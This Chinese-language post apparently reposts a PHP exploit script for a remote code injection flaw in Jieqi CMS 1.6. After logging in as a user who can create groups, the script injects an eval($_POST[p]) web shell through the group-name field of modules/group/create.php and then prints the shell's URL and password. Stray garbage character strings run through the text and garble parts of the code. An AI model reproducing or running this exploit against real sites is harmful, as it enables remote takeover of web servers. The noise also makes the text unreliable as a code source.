杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
/ K: T! v! P8 d& q: Q S6 A: h, M ?$ X0 a+ y5 e
! ~) u- s/ a- r2 I+ h7 J0 J该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。/ s4 u9 S6 F* p/ E; w
需要有一个能创建圈子的用户。
+ {+ N# w6 ?! |+ T
3 U7 |6 y' d6 ~" \# @( |3 I<?php
; {2 U' b4 D+ O0 W' a 5 p9 l! I' W6 J& T; e, Q6 L
print_r('2 N# U+ p- h+ b4 Z: e( g3 |
+---------------------------------------------------------------------------+
0 v% ~" w! S2 X0 B) mJieqi CMS V1.6 PHP Code Injection Exploit
9 Q3 Z; b) | Q3 [* `by flyh4t7 d- R$ V, ~. v U
mail: phpsec at hotmail dot com& ^2 S5 U- v% p9 v
team: http://www.wolvez.org
* ~4 ~& Y g7 B' t8 k+---------------------------------------------------------------------------+
1 k$ h; F) ]/ d! z9 N1 z( B'); /**! V0 \5 R, j* p% ^$ r# m
* works regardless of php.ini settings2 ]5 ?5 L1 w7 x# i7 z9 I9 ^
*/ if ($argc < 5) { print_r('
8 }8 x5 @ N4 d3 a1 x+---------------------------------------------------------------------------+
' H9 O) J( _6 x9 ^Usage: php '.$argv[0].' host path username0 S, y4 `& F p8 e
host: target server (ip/hostname)4 G" t. ~( t% K! ]" ^5 s
path: path to jieqicms 2 K# ]9 l2 a9 I+ J7 g5 @
uasename: a username who can create group
y3 E( e% E, {Example:
9 O, G3 |- u; }) `! Cphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password8 G; u F8 w V$ O+ ^
+---------------------------------------------------------------------------+$ Z4 C& V9 b9 ?' T: ?2 z1 M0 e
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799618 M8 A* A" P$ x
Content-Disposition: form-data; name="gname" {; ]) F' z3 I) H4 d2 V. s1 K) b6 Q
% A9 t3 @9 W" R' o1 {+ E6 g7 B
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t) N. p" Z6 ?* O; M6 P( T4 N
-----------------------------23281168279961
5 l. z% ~# t2 C7 ^5 F: BContent-Disposition: form-data; name="gcatid") C2 d0 i( U& Z1 `! b
6 P0 U: u% M1 v6 C& V8 x7 o1 R
1# m7 i4 V! C0 C5 W6 S# z
-----------------------------23281168279961
( x# ]) W. k% Y- hContent-Disposition: form-data; name="gaudit"9 w! n, |% a* U9 {
* J! e( O. f: F+ ?; R$ g16 n4 ]9 Z# V+ n, b- b8 b4 y8 m
-----------------------------23281168279961
3 [) N1 ]4 T' ] i' L# @0 TContent-Disposition: form-data; name="gbrief"4 M8 f+ Q$ v# ^: \% C5 t4 T
. s- o! E( _# c/ |3 I& T1
# B7 f7 W5 d' }: P( R/ q-----------------------------23281168279961--$ d9 u/ y; f/ Q- M. b" t
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
) c5 a8 j1 x' V" p; r9 J1 _" S - m- u S$ L0 w( @; n. O. i
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |